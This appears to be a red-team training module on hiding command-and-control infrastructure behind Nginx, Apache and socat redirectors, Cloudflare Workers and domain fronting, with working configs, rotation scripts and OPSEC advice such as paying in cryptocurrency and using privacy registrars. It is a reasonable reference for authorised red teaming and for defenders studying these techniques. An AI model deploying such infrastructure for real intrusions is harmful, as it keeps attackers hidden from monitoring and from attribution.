Back to All Modules

Redirectors and Domain Fronting

#Overview

Redirectors and domain fronting protect the team server from direct exposure. The target's implant communicates with a redirector or CDN edge, which forwards valid C2 traffic to the team server while dropping everything else. This makes attribution harder and allows infrastructure rotation without recompiling implants.

#Architecture

Implant → CDN Edge / Domain Front → Redirector 1 → Redirector 2 → Team Server
                                        │                │
                                   (Filter by UA,     (Filter by URI,
                                    header, IP)        source IP)
TEXT

Principles:

  • Team server IP is never in the implant binary or DNS records
  • Redirectors can be rotated independently of the team server
  • Domain fronting hides the real C2 domain from network monitors
  • Multiple redirector layers provide defense in depth

#Nginx Reverse Proxy Redirector

The most common redirector: Nginx receives all traffic on port 443, but only forwards requests matching the C2 profile.

#Basic Setup

# /etc/nginx/sites-available/c2-redirector
server {
    listen 443 ssl;
    server_name c2-legitimate-looking.com;

    ssl_certificate /etc/letsencrypt/live/c2-legitimate-looking.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/c2-legitimate-looking.com/privkey.pem;

    # Legitimate website for cover traffic
    location / {
        proxy_pass https://www.example.com;
        proxy_set_header Host www.example.com;
        proxy_set_header X-Real-IP $remote_addr;
    }

    # C2 callback path (only this gets forwarded)
    location /api/v1/ {
        proxy_pass https://<team_server_ip>:443/;
        proxy_set_header Host <team_server_host>;
        proxy_set_header X-Real-IP $remote_addr;
    }
}
NGINX

#Advanced Filtering

server {
    listen 443 ssl;
    server_name c2-legitimate-looking.com;

    ssl_certificate /etc/letsencrypt/live/c2-legitimate-looking.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/c2-legitimate-looking.com/privkey.pem;

    # Block known scanner IPs
    deny 185.220.101.0/24;
    deny 45.33.32.0/24;

    # Only allow specific User-Agent (matching malleable C2 profile)
    if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") {
        return 404;
    }

    # Only allow specific Cookie header
    location /images/ {
        if ($http_cookie !~* "session=[A-Za-z0-9]{32}") {
            return 404;
        }
        proxy_pass https://<team_server_ip>:8443/;
        proxy_set_header Host <team_server_host>;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

    # Everything else: serve legitimate content
    location / {
        root /var/www/cover-site;
        index index.html;
    }
}
NGINX

#Let's Encrypt Certificate

# Install certbot
apt install certbot python3-certbot-nginx

# Get certificate (domain must point to this server)
certbot --nginx -d c2-legitimate-looking.com

# Auto-renew
certbot renew --dry-run
BASH

#Apache mod_proxy Redirector

# /etc/apache2/sites-available/c2-redirector.conf
<VirtualHost *:443>
    ServerName c2-legitimate-looking.com

    SSLEngine on
    SSLCertificateFile /etc/letsencrypt/live/c2-legitimate-looking.com/fullchain.pem
    SSLCertificateKeyFile /etc/letsencrypt/live/c2-legitimate-looking.com/privkey.pem

    # Filter by User-Agent
    RewriteEngine On
    RewriteCond %{HTTP_USER_AGENT} !=^Mozilla/5\.0\ \(Windows\ NT\ 10\.0.*$
    RewriteRule .* - [F]

    # C2 path: forward to team server
    SSLProxyEngine On
    SSLProxyCheckPeerCN Off
    ProxyPass /api/v1/ https://<team_server_ip>:443/
    ProxyPassReverse /api/v1/ https://<team_server_ip>:443/

    # Cover traffic: serve local content
    DocumentRoot /var/www/cover-site
</VirtualHost>
APACHE
# Enable modules
a2enmod proxy proxy_http ssl rewrite
systemctl restart apache2
BASH

#socat Redirector (Minimal)

For lightweight redirectors with no filtering — just TCP relay.

# Simple TCP forward: redirector:443 → team_server:443
socat TCP-LISTEN:443,fork TCP:<team_server_ip>:443

# With TLS termination (redirector handles TLS, forwards plain TCP to team server)
socat OPENSSL-LISTEN:443,cert=/tmp/server.pem,key=/tmp/server.key,fork TCP:<team_server_ip>:8443

# UDP (for DNS C2)
socat UDP-LISTEN:53,fork UDP:<team_server_ip>:53

# As systemd service (persistent)
cat > /etc/systemd/system/socat-redirector.service << EOF
[Unit]
Description=socat C2 redirector
After=network.target

[Service]
ExecStart=/usr/bin/socat TCP-LISTEN:443,fork TCP:<team_server_ip>:443
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOF

systemctl enable socat-redirector
systemctl start socat-redirector
BASH

#Domain Fronting

Domain fronting exploits CDN architecture: the TLS SNI (Server Name Indication) shows one domain (the front), while the HTTP Host header shows another (the real C2 domain). The CDN routes the request based on the Host header, not the SNI.

#How It Works

1. TLS handshake: SNI = cdn-provider.com (allowed, looks normal)
2. HTTP request: Host = c2-secret.evil.com (CDN routes to this origin)
3. CDN forwards to your origin server (the redirector/team server)
4. Network monitors see a connection to cdn-provider.com (not C2)
TEXT

#Cloudflare Domain Fronting

# Setup:
# 1. Domain c2-front.com on Cloudflare (Pro plan for WebSocket)
# 2. Cloudflare resolves c2-front.com to Cloudflare edge IPs
# 3. Origin server: your redirector at <redirector_ip>

# In your C2 profile, configure:
# - HTTPS callback to c2-front.com (SNI)
# - Host header: c2-front.com (must match SNI on Cloudflare now)
# - Use Cloudflare Workers for advanced routing
BASH

#Cloudflare Workers (Modern Domain Fronting Alternative)

Cloudflare Workers provide a serverless function that can inspect and route requests at the CDN edge. This is the modern replacement for traditional domain fronting.

// Cloudflare Worker: c2-router.js
export default {
  async fetch(request) {
    const url = new URL(request.url);

    // Check for C2 beacon signature
    if (request.headers.get('X-Beacon') === 'valid-token') {
      // Forward to team server
      return fetch('https://<team_server_ip>' + url.pathname, {
        method: request.method,
        headers: request.headers,
        body: request.body,
      });
    }

    // Everything else: serve cover content
    return fetch('https://www.legitimate-site.com' + url.pathname);
  }
};
JAVASCRIPT
# Deploy with Wrangler CLI
npm install -g wrangler
wrangler login
wrangler deploy

# Configure custom domain in Cloudflare dashboard:
# Workers → Add route → c2-front.com/*
BASH

#Azure CDN / Front Door Domain Fronting

# Azure Front Door supports domain fronting via multi-host setups
# 1. Create Azure Front Door profile
# 2. Add frontend endpoint: c2-front.azurefd.net
# 3. Add backend pool: your redirector IP
# 4. Configure routing rules

# The SNI shows *.azurefd.net (legitimate Microsoft domain)
# The Host header tells Front Door which backend to route to
BASH

#Multi-Layer Redirector Architecture

For high-stakes engagements, use multiple redirector layers.

Implant → CDN Edge → Redirector A (filter UA/IP) → Redirector B (filter URI) → Team Server
TEXT
# Redirector A: Filter by User-Agent and source IP
# Nginx config:
# Only allow specific UA and specific IP ranges

# Redirector B: Filter by URI path and HTTP method
# Nginx config:
# Only allow specific URI paths matching C2 profile

# Team Server: Only accept connections from Redirector B's IP
iptables -A INPUT -p tcp --dport 443 -s <redirector_b_ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
BASH

#Rotation Strategy

# When a redirector is detected/blocked:
# 1. Spin up new VPS (Terraform/Ansible automated)
# 2. Deploy redirector config (Ansible playbook)
# 3. Update DNS (change A record to new VPS IP)
# 4. Implant auto-reconnects (no recompilation needed)
# 5. Decommission old VPS

# Terraform snippet for rapid redirector deployment
# resource "digitalocean_droplet" "redirector" {
#   count  = 3
#   name   = "redirector-${count.index}"
#   image  = "ubuntu-22-04-x64"
#   region = "nyc1"
#   size   = "s-1vcpu-1gb"
#   user_data = file("cloud-init-redirector.yaml")
# }
BASH

#Common Pitfalls

  1. SNI/Host mismatch: Modern CDNs check SNI against Host header. Domain fronting may not work without Workers.
  2. Certificate pinning: If the target application pins certificates, your redirector's cert won't match.
  3. Redirector downtime: If all redirectors go down, implants lose C2. Use multiple redirectors for redundancy.
  4. DNS TTL: Low TTL on C2 domain DNS records enables fast rotation but increases DNS query visibility.
  5. Cover site quality: A redirector serving a default Nginx page is suspicious. Deploy a realistic cover website.

#OPSEC Considerations

  • Use VPS providers in different jurisdictions for each redirector layer
  • Pay with cryptocurrency and use privacy-preserving registrars for domains
  • Never reuse IPs across engagements
  • Set kill dates on implants to auto-stop after the engagement window
  • Use Let's Encrypt certificates (free, legitimate, auto-renewing)
  • Monitor your redirector access logs for blue team scanning/probing
  • Destroy VPS instances after the engagement — don't just stop them

#Cross-References